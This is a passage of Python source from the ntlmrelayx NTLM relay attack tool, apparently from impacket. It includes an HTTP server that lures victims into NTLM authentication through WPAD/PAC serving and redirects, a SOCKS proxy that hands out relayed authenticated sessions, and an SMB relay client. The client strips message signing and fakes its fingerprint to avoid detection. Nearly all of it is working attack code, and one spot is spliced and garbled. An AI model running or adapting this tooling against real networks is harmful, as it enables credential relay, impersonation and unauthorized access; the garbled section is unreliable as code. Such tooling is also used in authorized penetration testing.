self.server.config.wpad_auth_num: 104 | return True 105 | else: 106 | return False 107 | 108 | def do_HEAD(self): 109 | self.send_response(200) 110 | self.send_header('Content-type', 'text/html') 111 | self.end_headers() 112 | 113 | def do_AUTHHEAD(self, message = '', proxy=False): 114 | if proxy: 115 | self.send_response(407) 116 | self.send_header('Proxy-Authenticate', message) 117 | else: 118 | self.send_response(401) 119 | self.send_header('WWW-Authenticate', message) 120 | self.send_header('Content-type', 'text/html') 121 | self.send_header('Content-Length','0') 122 | self.end_headers() 123 | 124 | #Trickery to get the victim to sign more challenges 125 | def do_REDIRECT(self, proxy=False): 126 | rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) 127 | self.send_response(302) 128 | self.send_header('WWW-Authenticate', 'NTLM') 129 | self.send_header('Content-type', 'text/html') 130 | self.send_header('Connection','close') 131 | self.send_header('Location','/%s' % rstr) 132 | self.send_header('Content-Length','0') 133 | self.end_headers() 134 | 135 | def do_SMBREDIRECT(self): 136 | self.send_response(302) 137 | self.send_header('Content-type', 'text/html') 138 | self.send_header('Location','file://%s' % self.server.config.redirecthost) 139 | self.send_header('Content-Length','0') 140 | self.send_header('Connection','close') 141 | self.end_headers() 142 | 143 | def do_POST(self): 144 | return self.do_GET() 145 | 146 | def do_CONNECT(self): 147 | return self.do_GET() 148 | 149 | def do_HEAD(self): 150 | return self.do_GET() 151 | 152 | def do_GET(self): 153 | messageType = 0 154 | if self.server.config.mode == 'REDIRECT': 155 | self.do_SMBREDIRECT() 156 | return 157 | 158 | LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) 159 | 160 | # Serve WPAD if: 161 | # - The client requests it 162 | # - A WPAD host was provided in the command line options 163 | # - The client has not exceeded the wpad_auth_num threshold yet 164 | if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]): 165 | LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) 166 | self.serve_wpad() 167 | return 168 | 169 | # Determine if the user is connecting to our server directly or attempts to use it as a proxy 170 | if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'): 171 | proxy = True 172 | else: 173 | proxy = False 174 | 175 | if (proxy and self.headers.getheader('Proxy-Authorization') is None) or (not proxy and self.headers.getheader('Authorization') is None): 176 | self.do_AUTHHEAD(message = 'NTLM',proxy=proxy) 177 | pass 178 | else: 179 | if proxy: 180 | typeX = self.headers.getheader('Proxy-Authorization') 181 | else: 182 | typeX = self.headers.getheader('Authorization') 183 | try: 184 | _, blob = typeX.split('NTLM') 185 | token = base64.b64decode(blob.strip()) 186 | except: 187 | self.do_AUTHHEAD(message = 'NTLM', proxy=proxy) 188 | else: 189 | messageType = struct.unpack('H=0'), 97 | ('ADDR','4s="'), 98 | ('PAYLOAD',':'), 99 | ) 100 | 101 | class SOCKS4_REPLY(Structure): 102 | structure = ( 103 | ('VER','B=0'), 104 | ('REP','B=0x5A'), 105 | ('RSV','= 0 or str(e).find('reset by peer') >=0 or \ 193 | str(e).find('Invalid argument') >= 0 or str(e).find('Server not connected') >=0: 194 | # Connection died, taking out of the active list 195 | del (server.activeRelays[target][port][user]) 196 | if len(server.activeRelays[target][port].keys()) == 1: 197 | del (server.activeRelays[target][port]) 198 | LOG.debug('Removing active relay for %s@%s:%s' % (user, target, port)) 199 | else: 200 | LOG.debug('Skipping %s@%s:%s since it\'s being used at the moment' % (user, target, port)) 201 | 202 | def activeConnectionsWatcher(server): 203 | while True: 204 | # This call blocks until there is data, so it doesn't loop endlessly 205 | target, port, userName, client, data = activeConnections.get() 206 | # ToDo: Careful. Dicts are not thread safe right? 207 | if server.activeRelays.has_key(target) is not True: 208 | server.activeRelays[target] = {} 209 | if server.activeRelays[target].has_key(port) is not True: 210 | server.activeRelays[target][port] = {} 211 | 212 | if server.activeRelays[target][port].has_key(userName) is not True: 213 | LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port)) 214 | server.activeRelays[target][port][userName] = {} 215 | # This is the protocolClient. Needed because we need to access the killConnection from time to time. 216 | # Inside this instance, you have the session attribute pointing to the relayed session. 217 | server.activeRelays[target][port][userName]['protocolClient'] = client 218 | server.activeRelays[target][port][userName]['inUse'] = False 219 | server.activeRelays[target][port][userName]['data'] = data 220 | # Just for the CHALLENGE data, we're storing this general 221 | server.activeRelays[target][port]['data'] = data 222 | else: 223 | LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port)) 224 | client.killConnection() 225 | 226 | def webService(server): 227 | from flask import Flask, jsonify 228 | 229 | app = Flask(__name__) 230 | 231 | log = logging.getLogger('werkzeug') 232 | log.setLevel(logging.ERROR) 233 | 234 | @app.route('/') 235 | def index(): 236 | print server.activeRelays 237 | return "Relays available: %s!" % (len(server.activeRelays)) 238 | 239 | @app.route('/ntlmrelayx/api/v1.0/relays', methods=['GET']) 240 | def get_relays(): 241 | relays = [] 242 | for target in server.activeRelays: 243 | for port in server.activeRelays[target]: 244 | for user in server.activeRelays[target][port]: 245 | if user != 'data': 246 | protocol = server.socksPlugins[port].PLUGIN_SCHEME 247 | relays.append([protocol, target, user, str(port)]) 248 | return jsonify(relays) 249 | 250 | @app.route('/ntlmrelayx/api/v1.0/relays', methods=['GET']) 251 | def get_info(relay): 252 | pass 253 | 254 | app.run(host='0.0.0.0', port=9090) 255 | 256 | class SocksRequestHandler(SocketServer.BaseRequestHandler): 257 | def __init__(self, request, client_address, server): 258 | self.__socksServer = server 259 | self.__ip, self.__port = client_address 260 | self.__connSocket= request 261 | self.__socksVersion = 5 262 | self.targetHost = None 263 | self.targetPort = None 264 | self.__NBSession= None 265 | SocketServer.BaseRequestHandler.__init__(self, request, client_address, server) 266 | 267 | def sendReplyError(self, error = replyField.CONNECTION_REFUSED): 268 | 269 | if self.__socksVersion == 5: 270 | reply = SOCKS5_REPLY() 271 | reply['REP'] = error.value 272 | else: 273 | reply = SOCKS4_REPLY() 274 | if error.value != 0: 275 | reply['REP'] = 0x5B 276 | return self.__connSocket.sendall(reply.getData()) 277 | 278 | def handle(self): 279 | LOG.debug("SOCKS: New Connection from %s(%s)" % (self.__ip, self.__port)) 280 | 281 | data = self.__connSocket.recv(8192) 282 | grettings = SOCKS5_GREETINGS_BACK(data) 283 | self.__socksVersion = grettings['VER'] 284 | 285 | if self.__socksVersion == 5: 286 | # We need to answer back with a no authentication response. We're not dealing with auth for now 287 | self.__connSocket.sendall(str(SOCKS5_GREETINGS_BACK())) 288 | data = self.__connSocket.recv(8192) 289 | request = SOCKS5_REQUEST(data) 290 | else: 291 | # We're in version 4, we just received the request 292 | request = SOCKS4_REQUEST(data) 293 | 294 | # Let's process the request to extract the target to connect. 295 | # SOCKS5 296 | if self.__socksVersion == 5: 297 | if request['ATYP'] == ATYP.IPv4.value: 298 | self.targetHost = socket.inet_ntoa(request['PAYLOAD'][:4]) 299 | self.targetPort = unpack('>H',request['PAYLOAD'][4:])[0] 300 | elif request['ATYP'] == ATYP.DOMAINNAME.value: 301 | hostLength = unpack('!B',request['PAYLOAD'][0])[0] 302 | self.targetHost = request['PAYLOAD'][1:hostLength+1] 303 | self.targetPort = unpack('>H',request['PAYLOAD'][hostLength+1:])[0] 304 | else: 305 | LOG.error('No support for IPv6 yet!') 306 | # SOCKS4 307 | else: 308 | self.targetPort = request['PORT'] 309 | 310 | # SOCKS4a 311 | if request['ADDR'][:3] == "\x00\x00\x00" and request['ADDR'][3] != "\x00": 312 | nullBytePos = request['PAYLOAD'].find("\x00"); 313 | 314 | if nullBytePos == -1: 315 | LOG.error('Error while reading SOCKS4a header!') 316 | else: 317 | self.targetHost = request['PAYLOAD'].split('\0', 1)[1][:-1] 318 | else: 319 | self.targetHost = socket.inet_ntoa(request['ADDR']) 320 | 321 | LOG.debug('SOCKS: Target is %s(%s)' % (self.targetHost, self.targetPort)) 322 | 323 | if self.targetPort != 53: 324 | # Do we have an active connection for the target host/port asked? 325 | # Still don't know the username, but it's a start 326 | if self.__socksServer.activeRelays.has_key(self.targetHost): 327 | if self.__socksServer.activeRelays[self.targetHost].has_key(self.targetPort) is not True: 328 | LOG.error('SOCKS: Don\'t have a relay for %s(%s)' % (self.targetHost, self.targetPort)) 329 | self.sendReplyError(replyField.CONNECTION_REFUSED) 330 | return 331 | else: 332 | LOG.error('SOCKS: Don\'t have a relay for %s(%s)' % (self.targetHost, self.targetPort)) 333 | self.sendReplyError(replyField.CONNECTION_REFUSED) 334 | return 335 | 336 | # Now let's get into the loops 337 | if self.targetPort == 53: 338 | # Somebody wanting a DNS request. Should we handle this? 339 | s = socket.socket() 340 | try: 341 | LOG.debug('SOCKS: Connecting to %s(%s)' %(self.targetHost, self.targetPort)) 342 | s.connect((self.targetHost, self.targetPort)) 343 | except Exception, e: 344 | if LOG.level == logging.DEBUG: 345 | import traceback 346 | traceback.print_exc() 347 | LOG.error('SOCKS: %s' %str(e)) 348 | self.sendReplyError(replyField.CONNECTION_REFUSED) 349 | return 350 | 351 | if self.__socksVersion == 5: 352 | reply = SOCKS5_REPLY() 353 | reply['REP'] = replyField.SUCCEEDED.value 354 | addr, port = s.getsockname() 355 | reply['PAYLOAD'] = socket.inet_aton(addr) + pack('>H', port) 356 | else: 357 | reply = SOCKS4_REPLY() 358 | 359 | self.__connSocket.sendall(reply.getData()) 360 | 361 | while True: 362 | try: 363 | data = self.__connSocket.recv(8192) 364 | if data == '': 365 | break 366 | s.sendall(data) 367 | data = s.recv(8192) 368 | self.__connSocket.sendall(data) 369 | except Exception, e: 370 | if LOG.level == logging.DEBUG: 371 | import traceback 372 | traceback.print_exc() 373 | LOG.error('SOCKS: ', str(e)) 374 | 375 | if self.__socksServer.socksPlugins.has_key(self.targetPort): 376 | LOG.debug('Handler for port %s found %s' % (self.targetPort, self.__socksServer.socksPlugins[self.targetPort])) 377 | relay = self.__socksServer.socksPlugins[self.targetPort](self.targetHost, self.targetPort, self.__connSocket, 378 | self.__socksServer.activeRelays[self.targetHost][self.targetPort]) 379 | 380 | try: 381 | relay.initConnection() 382 | 383 | # Let's answer back saying we've got the connection. Data is fake 384 | if self.__socksVersion == 5: 385 | reply = SOCKS5_REPLY() 386 | reply['REP'] = replyField.SUCCEEDED.value 387 | addr, port = self.__connSocket.getsockname() 388 | reply['PAYLOAD'] = socket.inet_aton(addr) + pack('>H', port) 389 | else: 390 | reply = SOCKS4_REPLY() 391 | 392 | self.__connSocket.sendall(reply.getData()) 393 | 394 | if relay.skipAuthentication() is not True: 395 | # Something didn't go right 396 | # Close the socket 397 | self.__connSocket.close() 398 | return 399 | 400 | # Ok, so we have a valid connection to play with. Let's lock it while we use it so the Timer doesn't send a 401 | # keep alive to this one. 402 | self.__socksServer.activeRelays[self.targetHost][self.targetPort][relay.username]['inUse'] = True 403 | 404 | relay.tunnelConnection() 405 | except Exception, e: 406 | if LOG.level == logging.DEBUG: 407 | import traceback 408 | traceback.print_exc() 409 | LOG.debug('SOCKS: %s' % str(e)) 410 | if str(e).find('Broken pipe') >= 0 or str(e).find('reset by peer') >=0 or \ 411 | str(e).find('Invalid argument') >= 0: 412 | # Connection died, taking out of the active list 413 | del(self.__socksServer.activeRelays[self.targetHost][self.targetPort][relay.username]) 414 | if len(self.__socksServer.activeRelays[self.targetHost][self.targetPort].keys()) == 1: 415 | del(self.__socksServer.activeRelays[self.targetHost][self.targetPort]) 416 | LOG.debug('Removing active relay for %s@%s:%s' % (relay.username, self.targetHost, self.targetPort)) 417 | self.sendReplyError(replyField.CONNECTION_REFUSED) 418 | return 419 | pass 420 | 421 | # Freeing up this connection 422 | if relay.username is not None: 423 | self.__socksServer.activeRelays[self.targetHost][self.targetPort][relay.username]['inUse'] = False 424 | else: 425 | LOG.error('SOCKS: I don\'t have a handler for this port') 426 | 427 | LOG.debug('SOCKS: Shutting down connection') 428 | try: 429 | self.sendReplyError(replyField.CONNECTION_REFUSED) 430 | except Exception, e: 431 | LOG.debug('SOCKS END: %s' % str(e)) 432 | 433 | 434 | class SOCKS(SocketServer.ThreadingMixIn, SocketServer.TCPServer): 435 | def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestHandler): 436 | LOG.info('SOCKS proxy started. Listening at port %d', server_address[1] ) 437 | 438 | self.activeRelays = {} 439 | self.socksPlugins = {} 440 | self.restAPI = None 441 | self.activeConnectionsWatcher = None 442 | self.supportedSchemes = [] 443 | SocketServer.TCPServer.allow_reuse_address = True 444 | SocketServer.TCPServer.__init__(self, server_address, handler_class) 445 | 446 | # Let's register the socksplugins plugins we have 447 | from impacket.examples.ntlmrelayx.servers.socksplugins import SOCKS_RELAYS 448 | 449 | for relay in SOCKS_RELAYS: 450 | LOG.info('%s loaded..' % relay.PLUGIN_NAME) 451 | self.socksPlugins[relay.getProtocolPort()] = relay 452 | self.supportedSchemes.append(relay.PLUGIN_SCHEME) 453 | 454 | # Let's create a timer to keep the connections up. 455 | self.__timer = RepeatedTimer(KEEP_ALIVE_TIMER, keepAliveTimer, self) 456 | 457 | # Let's start our RESTful API 458 | self.restAPI = Thread(target=webService, args=(self, )) 459 | self.restAPI.daemon = True 460 | self.restAPI.start() 461 | 462 | # Let's start out worker for active connections 463 | self.activeConnectionsWatcher = Thread(target=activeConnectionsWatcher, args=(self, )) 464 | self.activeConnectionsWatcher.daemon = True 465 | self.activeConnectionsWatcher.start() 466 | 467 | def shutdown(self): 468 | self.__timer.stop() 469 | del self.restAPI 470 | del self.activeConnectionsWatcher 471 | return SocketServer.TCPServer.shutdown(self) 472 | 473 | if __name__ == '__main__': 474 | from impacket.examples import logger 475 | logger.init() 476 | s = SOCKS() 477 | s.serve_forever() 478 | 479 | 480 | -------------------------------------------------------------------------------- /ntlmrelayx/clients/smbrelayclient.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SMB Relay Protocol Client 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # 12 | # Description: 13 | # This is the SMB client which initiates the connection to an 14 | # SMB server and relays the credentials to this server. 15 | 16 | import os 17 | 18 | from struct import unpack 19 | from socket import error as socketerror 20 | from impacket import LOG 21 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 22 | from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER 23 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE 24 | from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge 25 | from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \ 26 | SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \ 27 | SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters 28 | from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \ 29 | SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \ 30 | SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \ 31 | SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response 32 | from impacket.smbconnection import SMBConnection, SMB_DIALECT, SessionError 33 | from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech 34 | 35 | PROTOCOL_CLIENT_CLASS = "SMBRelayClient" 36 | 37 | class MYSMB(SMB): 38 | def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): 39 | self.extendedSecurity = extendedSecurity 40 | SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket) 41 | 42 | def neg_session(self, negPacket=None): 43 | return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket) 44 | 45 | class MYSMB3(SMB3): 46 | def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): 47 | self.extendedSecurity = extendedSecurity 48 | SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket)) 49 | 50 | def negotiateSession(self, preferredDialect = None, negSessionResponse = None): 51 | # We DON'T want to sign 52 | self._Connection['ClientSecurityMode'] = 0 53 | 54 | if self.RequireMessageSigning is True: 55 | LOG.error('Signing is required, attack won\'t work!') 56 | print "RequireMessageSigning" 57 | return 58 | 59 | self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION 60 | currentDialect = SMB2_DIALECT_WILDCARD 61 | 62 | # Do we have a negSessionPacket already? 63 | if negSessionResponse is not None: 64 | # Yes, let's store the dialect answered back 65 | negResp = SMB2Negotiate_Response(negSessionResponse['Data']) 66 | currentDialect = negResp['DialectRevision'] 67 | 68 | if currentDialect == SMB2_DIALECT_WILDCARD: 69 | # Still don't know the chosen dialect, let's send our options 70 | 71 | packet = self.SMB_PACKET() 72 | packet['Command'] = SMB2_NEGOTIATE 73 | negSession = SMB2Negotiate() 74 | 75 | negSession['SecurityMode'] = self._Connection['ClientSecurityMode'] 76 | negSession['Capabilities'] = self._Connection['Capabilities'] 77 | negSession['ClientGuid'] = self.ClientGuid 78 | if preferredDialect is not None: 79 | negSession['Dialects'] = [preferredDialect] 80 | else: 81 | negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30] 82 | negSession['DialectCount'] = len(negSession['Dialects']) 83 | packet['Data'] = negSession 84 | 85 | packetID = self.sendSMB(packet) 86 | ans = self.recvSMB(packetID) 87 | if ans.isValidAnswer(STATUS_SUCCESS): 88 | negResp = SMB2Negotiate_Response(ans['Data']) 89 | 90 | self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize']) 91 | self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize']) 92 | self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize']) 93 | self._Connection['ServerGuid'] = negResp['ServerGuid'] 94 | self._Connection['GSSNegotiateToken'] = negResp['Buffer'] 95 | self._Connection['Dialect'] = negResp['DialectRevision'] 96 | print "negResp['SecurityMode']",negResp['SecurityMode'] 97 | print "SMB2_NEGOTIATE_SIGNING_REQUIRED",SMB2_NEGOTIATE_SIGNING_REQUIRED 98 | if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED: 99 | LOG.error('Signing is required, attack won\'t work!') 100 | return 101 | if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING: 102 | self._Connection['SupportsFileLeasing'] = True 103 | if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU: 104 | self._Connection['SupportsMultiCredit'] = True 105 | 106 | if self._Connection['Dialect'] == SMB2_DIALECT_30: 107 | # Switching to the right packet format 108 | self.SMB_PACKET = SMB3Packet 109 | if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING: 110 | self._Connection['SupportsDirectoryLeasing'] = True 111 | if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL: 112 | self._Connection['SupportsMultiChannel'] = True 113 | if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES: 114 | self._Connection['SupportsPersistentHandles'] = True 115 | if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION: 116 | self._Connection['SupportsEncryption'] = True 117 | 118 | self._Connection['ServerCapabilities'] = negResp['Capabilities'] 119 | self._Connection['ServerSecurityMode'] = negResp['SecurityMode'] 120 | 121 | class SMBRelayClient(ProtocolClient): 122 | PLUGIN_NAME = "SMB" 123 | def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ): 124 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 125 | self.extendedSecurity = extendedSecurity 126 | 127 | self.domainIp = None 128 | self.machineAccount = None 129 | self.machineHashes = None 130 | self.sessionData = {} 131 | 132 | self.keepAliveHits = 1 133 | 134 | def keepAlive(self): 135 | # SMB Keep Alive more or less every 5 minutes 136 | if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): 137 | # Time to send a packet 138 | # Just a tree connect / disconnect to avoid the session timeout 139 | tid = self.session.connectTree('IPC$') 140 | self.session.disconnectTree(tid) 141 | self.keepAliveHits = 1 142 | else: 143 | self.keepAliveHits +=1 144 | 145 | def killConnection(self): 146 | if self.session is not None: 147 | self.session.close() 148 | self.session = None 149 | 150 | def initConnection(self): 151 | self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True) 152 | #,preferredDialect=SMB_DIALECT) 153 | if self.serverConfig.smb2support is True: 154 | data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' 155 | else: 156 | data = '\x02NT LM 0.12\x00' 157 | 158 | if self.extendedSecurity is True: 159 | flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES 160 | else: 161 | flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES 162 | try: 163 | packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, 164 | flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, 165 | flags2=flags2, data=data) 166 | except socketerror as e: 167 | if 'reset by peer' in str(e): 168 | if not self.serverConfig.smb2support: 169 | LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support') 170 | else: 171 | LOG.error('SMBCLient error: Connection was reset') 172 | else: 173 | LOG.error('SMBCLient error: %s' % str(e)) 174 | return False 175 | if packet[0] == '\xfe': 176 | smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) 177 | else: 178 | # Answer is SMB packet, sticking to SMBv1 179 | smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) 180 | 181 | self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, 182 | existingConnection=smbClient, manualNegotiate=True) 183 | 184 | return True 185 | 186 | def setUid(self,uid): 187 | self._uid = uid 188 | 189 | def sendNegotiate(self, negotiateMessage): 190 | negotiate = NTLMAuthNegotiate() 191 | negotiate.fromString(negotiateMessage) 192 | #Remove the signing flag 193 | negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN 194 | #negotiateMessage = negotiateMessage[:12]+'\x07\x02\x08\xa2'+negotiateMessage[16:] 195 | #negotiateMessage = negotiateMessage[:12]+'\x97\xb2\x08\xe2'+negotiateMessage[16:] 196 | challenge = NTLMAuthChallenge() 197 | if self.session.getDialect() == SMB_DIALECT: 198 | challenge.fromString(self.sendNegotiatev1(negotiateMessage)) 199 | else: 200 | challenge.fromString(self.sendNegotiatev2(negotiateMessage)) 201 | 202 | # Store the Challenge in our session data dict. It will be used by the SMB Proxy 203 | self.sessionData['CHALLENGE_MESSAGE'] = challenge 204 | 205 | return challenge 206 | 207 | def sendNegotiatev2(self, negotiateMessage): 208 | v2client = self.session.getSMBServer() 209 | 210 | sessionSetup = SMB2SessionSetup() 211 | sessionSetup['Flags'] = 0 212 | 213 | # Let's build a NegTokenInit with the NTLMSSP 214 | blob = SPNEGO_NegTokenInit() 215 | 216 | # NTLMSSP 217 | blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 218 | blob['MechToken'] = str(negotiateMessage) 219 | 220 | sessionSetup['SecurityBufferLength'] = len(blob) 221 | sessionSetup['Buffer'] = blob.getData() 222 | 223 | packet = v2client.SMB_PACKET() 224 | packet['Command'] = SMB2_SESSION_SETUP 225 | packet['Data'] = sessionSetup 226 | 227 | packetID = v2client.sendSMB(packet) 228 | ans = v2client.recvSMB(packetID) 229 | if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): 230 | v2client._Session['SessionID'] = ans['SessionID'] 231 | sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) 232 | respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer']) 233 | return respToken['ResponseToken'] 234 | 235 | return False 236 | 237 | def sendNegotiatev1(self, negotiateMessage): 238 | v1client = self.session.getSMBServer() 239 | 240 | smb = NewSMBPacket() 241 | smb['Flags1'] = SMB.FLAGS1_PATHCASELESS 242 | smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 243 | # Are we required to sign SMB? If so we do it, if not we skip it 244 | if v1client.is_signing_required(): 245 | smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE 246 | 247 | 248 | sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 249 | sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 250 | sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 251 | 252 | sessionSetup['Parameters']['MaxBufferSize'] = 65535 253 | sessionSetup['Parameters']['MaxMpxCount'] = 2 254 | sessionSetup['Parameters']['VcNumber'] = 1 255 | sessionSetup['Parameters']['SessionKey'] = 0 256 | sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE 257 | 258 | # Let's build a NegTokenInit with the NTLMSSP 259 | # TODO: In the future we should be able to choose different providers 260 | 261 | blob = SPNEGO_NegTokenInit() 262 | 263 | # NTLMSSP 264 | blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 265 | blob['MechToken'] = str(negotiateMessage) 266 | 267 | sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) 268 | sessionSetup['Parameters'].getData() 269 | sessionSetup['Data']['SecurityBlob'] = blob.getData() 270 | 271 | # Fake Data here, don't want to get us fingerprinted 272 | sessionSetup['Data']['NativeOS'] = 'Unix' 273 | sessionSetup['Data']['NativeLanMan'] = 'Samba' 274 | 275 | smb.addCommand(sessionSetup) 276 | v1client.sendSMB(smb) 277 | smb = v1client.recvSMB() 278 | 279 | try: 280 | smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) 281 | except Exception: 282 | LOG.error("SessionSetup Error!") 283 | raise 284 | else: 285 | # We will need to use this uid field for all future requests/responses 286 | v1client.set_uid(smb['Uid']) 287 | 288 | # Now we have to extract the blob to continue the auth process 289 | sessionResponse = SMBCommand(smb['Data'][0]) 290 | sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) 291 | sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) 292 | sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] 293 | sessionData.fromString(sessionResponse['Data']) 294 | respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) 295 | 296 | return respToken['ResponseToken'] 297 | 298 | def sendStandardSecurityAuth(self, sessionSetupData): 299 | v1client = self.session.getSMBServer() 300 | flags2 = v1client.get_flags()[1] 301 | v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) 302 | if sessionSetupData['Account'] != '': 303 | smb = NewSMBPacket() 304 | smb['Flags1'] = 8 305 | 306 | sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 307 | sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() 308 | sessionSetup['Data'] = SMBSessionSetupAndX_Data() 309 | 310 | sessionSetup['Parameters']['MaxBuffer'] = 65535 311 | sessionSetup['Parameters']['MaxMpxCount'] = 2 312 | sessionSetup['Parameters']['VCNumber'] = os.getpid() 313 | sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey'] 314 | sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd']) 315 | sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd']) 316 | sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE 317 | 318 | sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd'] 319 | sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd'] 320 | sessionSetup['Data']['Account'] = str(sessionSetupData['Account']) 321 | sessionSetup['Data']['PrimaryDomain'] = str(sessionSetupData['PrimaryDomain']) 322 | sessionSetup['Data']['NativeOS'] = 'Unix' 323 | sessionSetup['Data']['NativeLanMan'] = 'Samba' 324 | 325 | smb.addCommand(sessionSetup) 326 | 327 | v1client.sendSMB(smb) 328 | smb = v1client.recvSMB() 329 | try: 330 | 